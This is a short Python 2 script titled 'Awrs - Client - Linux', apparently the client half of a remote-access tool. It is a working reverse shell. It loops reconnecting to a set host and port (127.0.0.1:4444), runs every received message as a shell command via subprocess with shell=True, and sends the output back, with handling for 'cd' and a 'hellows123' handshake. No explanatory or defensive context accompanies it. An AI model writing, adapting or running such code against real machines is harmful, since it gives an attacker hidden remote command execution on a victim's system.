Awrs - Client - Linux

#!/usr/bin/env python2

import subprocess, os
from socket import *

host = "127.0.0.1"
port = 4444

def main():
    while 1:
        s=socket(AF_INET, SOCK_STREAM)
        while 1:
            try:
                s.connect((host,port))
                print "[INFO] Connected"
                break;
            except:
                pass

        while 1:
            try:
                msg=s.recv(4096)
                if ((msg != "exit") and ("cd " not in msg) and (msg != "hellows123")):
                    comm = subprocess.Popen(str(msg), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                    STDOUT, STDERR = comm.communicate()
                    en_STDERR = bytearray(STDERR)
                    en_STDOUT = bytearray(STDOUT)
                    if (en_STDERR == ""): #dealing with invalid commands
                        if (en_STDOUT != ""): #if the command has an output
                            print en_STDOUT
                            s.send(en_STDOUT)
                        else: # if the command has not output then
                            s.send("[CLIENT] Command Executed")
                    else:
                        print en_STDERR
                        s.send(en_STDERR)
                elif ("cd " in msg): #dealing with the cd command
                    msg = msg.replace("cd ","")
                    os.chdir(msg)
                    s.send(os.getcwd())
                    print "[INFO] Changed dir to %s" % os.getcwd()
                elif (msg == "hellows123"): #welcome message
                    s.send(os.getcwd())
                else:
                    print "[INFO] Connection Closed"
                    s.close()
                    break
            except:
                print "[INFO] Connection Closed"
                s.close()
                break

main()